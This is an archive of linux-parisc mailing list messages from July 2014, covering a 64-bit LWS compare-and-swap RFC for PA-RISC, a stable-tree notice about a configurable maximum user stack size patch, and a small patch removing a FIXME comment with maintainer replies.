>                : "r"(ptr), "r"(__val), "0"(__pu_err) \
>                : "r1");


Maybe.  On the other hand, if mem was the third argument in the ble  
call, it likely would be possible to write:

register long long lws_ret asm("r28");
register long long lws_old asm("r25");
register long long lws_new asm("r23");
register unsigned long lws_mem asm("r22");

This is consistent with the parisc calling conventions for 64-bit  
objects.  If it works, the low part of lws_ret, etc,
should automatically get allocated to the correct register and the  
copy done efficiently.  Have to say I have
not tried it.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Thu, 17 Jul 2014 19:27:17 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <BLU436-SMTP68BEB7ADD6E704079EEEF397F40@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be> <BLU436-SMTP127395BDDDC837F7D7E042697F40@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405639666 22138 80.91.229.3 (17 Jul 2014 23:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 23:27:46 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 01:27:37 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7v5M-000541-Eo
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 01:27:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757973AbaGQX1f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 19:27:35 -0400
Original-Received: from blu004-omc4s9.hotmail.com ([65.55.111.148]:64359 "EHLO
	BLU004-OMC4S9.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752504AbaGQX1e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 19:27:34 -0400
Original-Received: from BLU436-SMTP68 ([65.55.111.136]) by BLU004-OMC4S9.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Thu, 17 Jul 2014 16:27:34 -0700
X-TMN: [2HUHjVEmwSQCZ1WfDt20FTWCn8YOgQ+h]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Thu, 17 Jul 2014 16:27:33 -0700
In-Reply-To: <BLU436-SMTP127395BDDDC837F7D7E042697F40@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Jul 2014 23:27:33.0206 (UTC) FILETIME=[AF5C0F60:01CFA216]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5934>

On 17-Jul-14, at 5:12 PM, John David Anglin wrote:

> SYNC_LOCK_RELEASE needs to be fixed to use __kernel_cmpxchg and  
> __kernel_cmpxchg_dword32.
> The current implementation won't be atomic for long long, and in  
> glibc, a similar implementation caused
> problems for the int type.  I've been testing a patch for the latter  
> and will apply it soon.

The change is now committed to GCC 4.10.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Thu, 17 Jul 2014 19:57:03 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <BLU436-SMTP757D315CCBB8A604EC7F0897F40@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be> <BLU436-SMTP127395BDDDC837F7D7E042697F40@phx.gbl> <BLU436-SMTP68BEB7ADD6E704079EEEF397F40@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405641449 7785 80.91.229.3 (17 Jul 2014 23:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 23:57:29 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 01:57:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7vYA-0004pa-AG
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 01:57:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752675AbaGQX5V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 19:57:21 -0400
Original-Received: from blu004-omc4s31.hotmail.com ([65.55.111.170]:50753 "EHLO
	BLU004-OMC4S31.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752554AbaGQX5V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 19:57:21 -0400
Original-Received: from BLU436-SMTP75 ([65.55.111.135]) by BLU004-OMC4S31.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Thu, 17 Jul 2014 16:57:20 -0700
X-TMN: [njtIZs3qg//1RTgDZpCedjwekXOSa6CK]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Thu, 17 Jul 2014 16:57:19 -0700
In-Reply-To: <BLU436-SMTP68BEB7ADD6E704079EEEF397F40@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Jul 2014 23:57:19.0408 (UTC) FILETIME=[D804DB00:01CFA21A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5935>

On 17-Jul-14, at 7:27 PM, John David Anglin wrote:

> On 17-Jul-14, at 5:12 PM, John David Anglin wrote:
>
>> SYNC_LOCK_RELEASE needs to be fixed to use __kernel_cmpxchg and  
>> __kernel_cmpxchg_dword32.
>> The current implementation won't be atomic for long long, and in  
>> glibc, a similar implementation caused
>> problems for the int type.  I've been testing a patch for the  
>> latter and will apply it soon.
>
> The change is now committed to GCC 4.10.

Also, see this change:
https://gcc.gnu.org/ml/gcc-patches/2014-07/msg01242.html

We will need a DI mode define for the 64-bit sync operation.

This enables "future" support in libstdc++.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable,gmane.linux.kernel.metag
Subject: [patch NOT added to the 3.12 stable tree] parisc,metag: Do not hardcode maximum userspace stack size
Date: Fri, 18 Jul 2014 09:27:07 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <1405668427-13226-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1405668445 29708 80.91.229.3 (18 Jul 2014 07:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 07:27:25 +0000 (UTC)
Cc: jslaby@suse.cz, Helge Deller <deller@gmx.de>,
	James Hogan <james.hogan@imgtec.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: stable@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 09:27:16 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X82ZV-0007XA-Hi
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 09:27:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751810AbaGRH1N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 03:27:13 -0400
Original-Received: from ip4-83-240-18-248.cust.nbox.cz ([83.240.18.248]:45586 "EHLO
	ip4-83-240-18-248.cust.nbox.cz" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751084AbaGRH1M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 03:27:12 -0400
Original-Received: from ku by ip4-83-240-18-248.cust.nbox.cz with local (Exim 4.82)
	(envelope-from <jslaby@suse.cz>)
	id 1X82ZQ-0003Rt-0M; Fri, 18 Jul 2014 09:27:08 +0200
X-Mailer: git-send-email 2.0.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5936 gmane.linux.kernel.stable:100100 gmane.linux.kernel.metag:236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5936>

From: Helge Deller <deller@gmx.de>

This patch does NOT apply to the 3.12 stable tree. If you still want
it applied, please provide a backport.

===============

commit 042d27acb64924a0e8a43e972485913a32407beb upstream.

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB for 32-bit processes, but make it configurable
via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memory layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size for 32-bit processes configurable and
uses 80MB as default value which has been in use during the last few
years on parisc and which hasn't showed any problems yet.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
---
 arch/metag/include/asm/processor.h  |  2 +-
 arch/parisc/include/asm/processor.h |  5 ++++-
 arch/parisc/kernel/sys_parisc.c     |  6 +++---
 mm/Kconfig                          | 15 +++++++++++++++
 4 files changed, 23 insertions(+), 5 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index 3be8581af495..a8a37477c66e 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -23,7 +23,7 @@
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
 /* Maximum virtual space for stack */
-#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
+#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 86522ef09d52..d951c9681ab3 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -55,7 +55,10 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
-#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+/* Allow bigger stacks for 64-bit processes */
+#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
+			 ? (1 << 30)	/* 1 GB */			\
+			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
 
 #endif
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 31ffa9b55322..e1ffea2f9a0b 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
 {
 	unsigned long stack_base;
 
-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
diff --git a/mm/Kconfig b/mm/Kconfig
index ebe5880c29d6..1b5a95f0fa01 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -581,3 +581,18 @@ config PGTABLE_MAPPING
 
 config GENERIC_EARLY_IOREMAP
 	bool
+
+config MAX_STACK_SIZE_MB
+	int "Maximum user stack size for 32-bit processes (MB)"
+	default 80
+	range 8 256 if METAG
+	range 8 2048
+	depends on STACK_GROWSUP && (!64BIT || COMPAT)
+	help
+	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
+	  user processes when the stack grows upwards (currently only on parisc
+	  and metag arch). The stack will be located at the highest memory
+	  address minus the given value, unless the RLIMIT_STACK hard limit is
+	  changed to a smaller value in which case that is used.
+
+	  A sane initial value is 80 MB.
-- 
2.0.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Fri, 18 Jul 2014 10:49:49 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <BLU436-SMTP218A41974C191160FBF5D1097F50@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405694991 5714 80.91.229.3 (18 Jul 2014 14:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 14:49:51 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 16:49:42 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X89Tc-0006ZA-DU
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 16:49:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934609AbaGROtc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 10:49:32 -0400
Original-Received: from blu004-omc4s4.hotmail.com ([65.55.111.143]:55288 "EHLO
	BLU004-OMC4S4.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1030249AbaGROta (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 10:49:30 -0400
Original-Received: from BLU436-SMTP218 ([65.55.111.135]) by BLU004-OMC4S4.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Fri, 18 Jul 2014 07:49:30 -0700
X-TMN: [/E6B4LaXwkL+i6wviAg5jwt7yLAq/ajx]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.154.140]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Fri, 18 Jul 2014 07:49:29 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
X-OriginalArrivalTime: 18 Jul 2014 14:49:29.0101 (UTC) FILETIME=[7A33CBD0:01CFA297]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5937
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5937>

On 7/17/2014 4:00 PM, Guy Martin wrote:
> +/* Kernel helper for compare-and-exchange a 64-bit value from ELF32.  */
> +static inline long
> +__kernel_cmpxchg_dword32 (int64_t oldval, int64_t newval, int64_t *mem)
I'm thinking we don't need suffix "32".  If a 64-bit runtime is ever 
developed,
there probably would be a separate file for it as on arm.

This discussion has got me thinking that the char and short 
implementations may be broken (i.e,
the CAS operation may clobber data adjacent to location being operated 
on).  I'm thinking we need
separate LWS calls for them.  Thoughts?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Remove FIXME comment
Date: Fri, 18 Jul 2014 16:37:03 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1405715865 23252 80.91.229.3 (18 Jul 2014 20:37:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 20:37:45 +0000 (UTC)
Cc: deller@gmx.de, tiwai@suse.de, jkosina@suse.cz, joe@perches.com,
	dave.anglin@bell.net, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 22:37:38 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8EuO-0003qV-CN
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 22:37:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762194AbaGRUhQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 16:37:16 -0400
Original-Received: from mail-ie0-f177.google.com ([209.85.223.177]:35929 "EHLO
	mail-ie0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1762141AbaGRUhP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 16:37:15 -0400
Original-Received: by mail-ie0-f177.google.com with SMTP id at20so4933290iec.22
        for <multiple recipients>; Fri, 18 Jul 2014 13:37:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=/RIDmjapNj43zS8nrzKdecr2QjbaBf4slQ5c33EDfeE=;
        b=rPnxlQMwzVqJlsVZw3Vtv9iXEZHaUfZjiwhQS8ZDUlKvnZWpAV6sMGiKURKBorUz3g
         qrMSy03iWmxtkA8wQrzq4M40scwGfR8UWdswM5ZOsFl8S5sSix7dpQ3rvIqhbIEw6WN5
         DVxq7kEqftY3pv8QGNU2yh63qQlcBlrSQUIC5S/bDcktbGU9/BGpUwHlUGFJZwX0w1sD
         mullm3biNW5D6+iPDLPMCnuI206orOnKkGNVCvJgNHw3jwq6mv/xe3B0wJ1B1EUpRBtx
         WhEisoNXTOiTwMeo4W9Fp1Df38iUSjNenpR83etMO6T6MiAHy566qScl+Ptxw3qxuVRQ
         QUgw==
X-Received: by 10.43.118.67 with SMTP id fp3mr11002021icc.40.1405715834684;
        Fri, 18 Jul 2014 13:37:14 -0700 (PDT)
Original-Received: from nick-System-Product-Name.phub.net.cable.rogers.com (CPE0026f3330aca-CM0026f3330ac6.cpe.net.cable.rogers.com. [99.232.64.167])
        by mx.google.com with ESMTPSA id z12sm9159660igu.11.2014.07.18.13.37.13
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 18 Jul 2014 13:37:14 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5938 gmane.linux.kernel:1751275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5938>

The comment for size of frame not being needed is incorrect , the
function called needs this parameter.

Signed-off-by: Nicholas Krause <xerofoify@gmail.com>
---
 arch/parisc/kernel/signal.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 1cba8f2..1d550b5 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -240,7 +240,6 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #endif
 	
 	usp = (regs->gr[30] & ~(0x01UL));
-	/*FIXME: frame_size parameter is unused, remove it. */
 	frame = get_sigframe(ka, usp, sizeof(*frame));
 
 	DBG(1,"SETUP_RT_FRAME: START\n");
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove FIXME comment
Date: Fri, 18 Jul 2014 22:49:36 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <53C98860.2010905@gmx.de>
References: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405716617 31897 80.91.229.3 (18 Jul 2014 20:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 20:50:17 +0000 (UTC)
Cc: tiwai@suse.de, jkosina@suse.cz, joe@perches.com,
	dave.anglin@bell.net, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Nicholas Krause <xerofoify@gmail.com>, jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 22:50:07 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8F6T-00083t-V5
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 22:50:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761906AbaGRUuF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 16:50:05 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61410 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755047AbaGRUuE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 16:50:04 -0400
Original-Received: from [192.168.178.60] ([84.173.9.132]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LfCX2-1WjwxZ36ue-00okAY; Fri, 18 Jul 2014 22:49:57
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:UwU6FfE67AdI4DuzEFswkEeuek/ti09McvJ9sLR93KbcFERkIk1
 ZnhrOMS4vlxXNT7ehxgGb6sFU3T/1rmbCAN9ReoiwC1bp9EM1puixXW+07Kx2cpDzMcaDwb
 R/VTmD7aX9x1K7cEScwZxfrVxdLPeoBMxBTjfYtLY4ZjIOh5ugSOqYx9rffpQlQPsaK/N3P
 poZxO2gZ+nb3MTpwXcBug==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5939 gmane.linux.kernel:1751281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5939>

On 07/18/2014 10:37 PM, Nicholas Krause wrote:
> The comment for size of frame not being needed is incorrect , the
> function called needs this parameter.

Thanks for the patch Nicholas.

It has been queued up:
https://patchwork.kernel.org/patch/4587631/
and
https://patchwork.kernel.org/patch/4486231/

I will apply it at some point, but not yet.
There are other (more important) patches upcoming regarding the 
signal handling,  and I don't want to break those at the moment.

Helge

> 
> Signed-off-by: Nicholas Krause <xerofoify@gmail.com>
> ---
>  arch/parisc/kernel/signal.c | 1 -
>  1 file changed, 1 deletion(-)
> 
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index 1cba8f2..1d550b5 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -240,7 +240,6 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
>  #endif
>  	
>  	usp = (regs->gr[30] & ~(0x01UL));
> -	/*FIXME: frame_size parameter is unused, remove it. */
>  	frame = get_sigframe(ka, usp, sizeof(*frame));
>  
>  	DBG(1,"SETUP_RT_FRAME: START\n");
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove FIXME comment
Date: Fri, 18 Jul 2014 14:03:34 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <1405717414.30262.12.camel@dabdike.int.hansenpartnership.com>
References: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405717427 10802 80.91.229.3 (18 Jul 2014 21:03:47 GMT)
